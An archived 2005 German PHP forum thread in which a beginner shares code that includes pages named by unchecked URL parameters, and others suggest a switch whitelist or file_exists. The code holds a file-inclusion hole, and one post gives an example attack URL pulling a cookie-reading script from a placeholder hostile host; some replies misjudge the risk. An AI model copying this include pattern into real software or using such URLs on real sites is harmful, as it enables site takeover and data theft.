php.de

Zurück   php.de > Webentwicklung > PHP Einsteiger > PHP Tipps 2005

 
 
LinkBack Themen-Optionen Thema bewerten
Alt 13.04.2005, 16:44  
CSS
Erfahrener Benutzer
 
Registriert seit: 04.12.2004
Beiträge: 324
CSS
Standard Unterseiten in Hauptseite inkludieren

Hallo!

Ich inkludiere in ein Grundgerüst immer nur die Unterseiten. Welche? Das wird via URL übergeben.

PHP-Code:
<?php
$verzeichnis 
= isset($_GET['page']) ? $_GET['page'] : "startseite";
$datei = isset($_GET['id']) ? $_GET['id'] : $verzeichnis;
if (!@include(
$verzeichnis "/" $datei ".inc.php"))
{
  
$fehlermeldung =<<<FEHLERMELDUNG
  <tr>
    <td colspan="5"><h4 align="center" style="margin-bottom: 5px;">Die ausgew&auml;hlte Seite konnte nicht gefunden werden!</h4></td>
  </tr>  
FEHLERMELDUNG;
  include (
"startseite/startseite.inc.php");
}
?>
Allerdings ist diese Methode nicht besonders perofrmant und Sie hat zumindest eine große Sicherheitslücke.

Wie macht ihr das ?

MfG CSS
CSS ist offline  
Sponsor Mitteilung
PHP Code Flüsterer

Registriert seit: 21.08.2005
Beiträge: 4682
PHP-Kenntnisse:
Fortgeschritten

Alt 13.04.2005, 16:50  
Moderator
 
Benutzerbild von robo47
 
Registriert seit: 03.09.2004
Beiträge: 11.792
PHP-Kenntnisse:
Fortgeschritten
robo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz sein
Standard

ein switch rein in dem ich alle fälle drinstehen habe. und die passende datei die includet wird.
sprich ein switch($_GET['bla']) und dann für jede möglichkeit nen eintrag.


btw das !@include lässt sich sauberer über file_exists regeln.

mfg
robo47
robo47 ist offline  
Alt 13.04.2005, 16:51  
Gast
 
Beiträge: n/a
Standard

stichwort modrewrite http://www.modrewrite.de/
kann vielleciht helfen...
 
Alt 13.04.2005, 17:03  
CSS
Erfahrener Benutzer
 
Registriert seit: 04.12.2004
Beiträge: 324
CSS
Standard

@robo47

Sagen wir, du hast 20 Unterseiten. Ist switcht, dann nicht performant?

MfG CSS
CSS ist offline  
Alt 13.04.2005, 17:06  
Moderator
 
Benutzerbild von robo47
 
Registriert seit: 03.09.2004
Beiträge: 11.792
PHP-Kenntnisse:
Fortgeschritten
robo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz sein
Standard

naja ich benchmarke keine webseiten, ich glaub es gibt mehr bereiche wo man speed sparen kann als bei sowas, meine scripte sind eigentlich alle über switch() aufgebaut der rest ist halt ne frage der sicherheit.

mfg
robo47
robo47 ist offline  
Alt 13.04.2005, 17:18  
CSS
Erfahrener Benutzer
 
Registriert seit: 04.12.2004
Beiträge: 324
CSS
Standard

Naja, weil wenn bei meinem System jemand schreibt:
index.php?page=http://www.bösewicht.de/lese_cookies.inc.php

Kann er meine ganzen Cookies auslesen.

Zitat:
ich glaub es gibt mehr bereiche wo man speed sparen kann als bei sowas,
Wo zum Beispiel?

MfG CSS
CSS ist offline  
Alt 13.04.2005, 17:24  
Moderator
 
Benutzerbild von robo47
 
Registriert seit: 03.09.2004
Beiträge: 11.792
PHP-Kenntnisse:
Fortgeschritten
robo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz sein
Standard

naja, dann wird wohl nur der html-output ausgegeben, weil die datei vorm includen ja vom interpreter des servers ausgeführt wird und du bekommst nur das html geliefert. ansonsten könnte ich ja jede beliebige seite includen und an sämtliche daten rankommen.

speed sparen kann man bei mysql-querys die nicht massig unnötig viele daten ziehen (kein SELECT * FROM verwenden), immer nur mit den daten denen man braucht arbeiten. ... halt sauber und logisch programmieren, ich mein bei ner normalen homepage ist da nicht so viel einzusparen.

mfg
robo47
robo47 ist offline  
Alt 13.04.2005, 17:38  
CSS
Erfahrener Benutzer
 
Registriert seit: 04.12.2004
Beiträge: 324
CSS
Standard

Zitat:
naja, dann wird wohl nur der html-output ausgegeben, weil die datei vorm includen ja vom interpreter des servers ausgeführt wird und du bekommst nur das html geliefert. ansonsten könnte ich ja jede beliebige seite includen und an sämtliche daten rankommen.
Kannst du ja auch, das ist besonders bei CMS und Template Systemen ein Problem. Allerdings nur wenn der Programmierer nicht mitgedacht hat.

In meinem Fall stellt, dass allerdings kein Problem da, weil ich keine Cookies setzte.

EDIT:
Ich habe es jetzt getestet und ich hatte recht!
MfG CSS
CSS ist offline  
Alt 13.04.2005, 17:41  
Moderator
 
Benutzerbild von robo47
 
Registriert seit: 03.09.2004
Beiträge: 11.792
PHP-Kenntnisse:
Fortgeschritten
robo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz seinrobo47 kann auf vieles stolz sein
Standard

okay, unter umständen bekommt man so Javascript in deine seite rein, aber das ist deaktiviert ... bei mir :P
und lässt sich mit einem file_exists umgehen, weil das ein false zurückliefert bei non-lokalen files
robo47 ist offline  
Alt 13.04.2005, 17:42  
Erfahrener Benutzer
 
Registriert seit: 18.09.2003
Beiträge: 13.598
PHP-Kenntnisse:
Fortgeschritten
imported_Ben ist zur Zeit noch ein unbeschriebenes Blatt
Standard

Lesen:
http://phpfriend.de/ftopic21590-25.html
imported_Ben ist offline  
 


Themen-Optionen
Thema bewerten
Thema bewerten:

Forumregeln
Es ist dir nicht erlaubt, neue Themen zu verfassen.
Es ist dir nicht erlaubt, auf Beiträge zu antworten.
Es ist dir nicht erlaubt, Anhänge hochzuladen.
Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks are an
Pingbacks are an
Refbacks are an
Gehe zu

Ähnliche Themen
Thema Autor Forum Antworten Letzter Beitrag
Frameset aktualisieren, nicht auf Hauptseite gehen auchegal HTML, Usability und Barrierefreiheit 7 22.11.2008 02:34
Video/Bild bleibt für alle Unterseiten gleich onlineautomarkt_at PHP Tipps 2008 4 31.05.2008 22:06
Kommunikation zwischen IFRAME und Hauptseite R4v3r HTML, Usability und Barrierefreiheit 1 02.04.2007 13:57
Von JavaScript-Popup heraus die Hauptseite aktualisieren HTML, Usability und Barrierefreiheit 8 14.05.2005 19:30
aus einem JS-Fenster heraus die Hauptseite steuern HTML, Usability und Barrierefreiheit 9 12.05.2005 14:07
[Erledigt] PHP in HTML inkludieren? PHP-Fortgeschrittene 32 15.03.2005 16:39
Hauptseite aus einer in einem iframe liegenden Form neuladen woods HTML, Usability und Barrierefreiheit 3 15.03.2005 11:26
[Erledigt] phpbb in die hauptseite integrieren HTML, Usability und Barrierefreiheit 1 09.03.2005 20:31
Keine direkter Aufruf von Unterseiten inu PHP Tipps 2005 10 12.01.2005 09:51
index.php mit Unterseiten PHP Tipps 2005 2 08.01.2005 21:37
Variable von Popup zur Hauptseite weitergeben Clan-Opa HTML, Usability und Barrierefreiheit 1 05.12.2004 05:11
Weiterleitung zu Hauptseite Beitragsarchiv 8 29.11.2004 21:53
Datenbank Abfrage mit Unterseiten pro Eintrag PHP Tipps 2004 6 14.10.2004 16:05
Letzten Foreneinträge auf Hauptseite angezeigen lassen PHP Tipps 2004 3 06.10.2004 18:30
PHP-Nuke: Unterseiten ?? Off-Topic Diskussionen 2 20.06.2004 10:12

Besucher kamen über folgende Suchanfragen bei Google auf diese Seite
php unterseiten, css unterseiten, http://www.php.de/php-tipps-2005/21153-unterseiten-hauptseite-inkludieren.html, php unterseiten include, unterseiten auf hauptseiten php, unterseiten zur hauptseite, php ordner unterseiten /, css unterseite php, php startseite unterseiten url, php unterseite inkludieren, wie integriere ich ein unterseite in die hauptseite, website hauptseite unterseite, zend url unterseite, html hauptseite unterseiten, unterseite mit php aktualisieren

Alle Zeitangaben in WEZ +2. Es ist jetzt 11:47 Uhr.




Powered by vBulletin® Version 3.7.2 (Deutsch)
Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.2.0
Aprilia-Forum, Aquaristik-Forum, Liebeskummer-Forum, Zierfisch-Forum, Geizkragen-Forum

Creative Commons License
Dieser Inhalt ist unter einer Creative Commons-Lizenz lizenziert.